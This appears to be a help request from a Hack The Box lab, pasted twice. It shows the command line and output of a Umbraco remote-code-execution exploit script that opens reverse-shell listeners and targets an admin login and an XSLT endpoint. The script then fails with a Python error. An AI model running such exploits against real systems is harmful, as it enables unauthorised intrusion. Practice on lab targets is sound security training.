I get the following error:
┌──(venv)─(kali㉿kali)-[~/HTB/remote/Umbraco-RCE]
└─$ python3 exploit.py -u admin@htb.local -p baconandcheese -i 10.10.15.54 -w http://10.129.24.152/
[+] Trying to bind to :: on port 4444: Done
[▗] Waiting for connections on :::4444
[+] Trying to bind to :: on port 4445: Done
[▇] Waiting for connections on :::4445
[] Logging in at http://10.129.24.152//umbraco/backoffice/UmbracoApi/Authentication/PostLogin
[] Exploiting at http://10.129.24.152//umbraco/developer/Xslt/xsltVisualize.aspx
Traceback (most recent call last):
File "/home/kali/HTB/remote/Umbraco-RCE/exploit.py", line 97, in
main()
~~~~^^
File "/home/kali/HTB/remote/Umbraco-RCE/exploit.py", line 62, in main
VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^
TypeError: 'NoneType' object is not subscriptable
I get the following error:
┌──(venv)─(kali㉿kali)-[~/HTB/remote/Umbraco-RCE]
└─$ python3 exploit.py -u admin@htb.local -p baconandcheese -i 10.10.15.54 -w http://10.129.24.152/
[+] Trying to bind to :: on port 4444: Done
[▗] Waiting for connections on :::4444
[+] Trying to bind to :: on port 4445: Done
[▇] Waiting for connections on :::4445
[] Logging in at http://10.129.24.152//umbraco/backoffice/UmbracoApi/Authentication/PostLogin
[] Exploiting at http://10.129.24.152//umbraco/developer/Xslt/xsltVisualize.aspx
Traceback (most recent call last):
File "/home/kali/HTB/remote/Umbraco-RCE/exploit.py", line 97, in
main()
~~~~^^
File "/home/kali/HTB/remote/Umbraco-RCE/exploit.py", line 62, in main
VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^
TypeError: 'NoneType' object is not subscriptable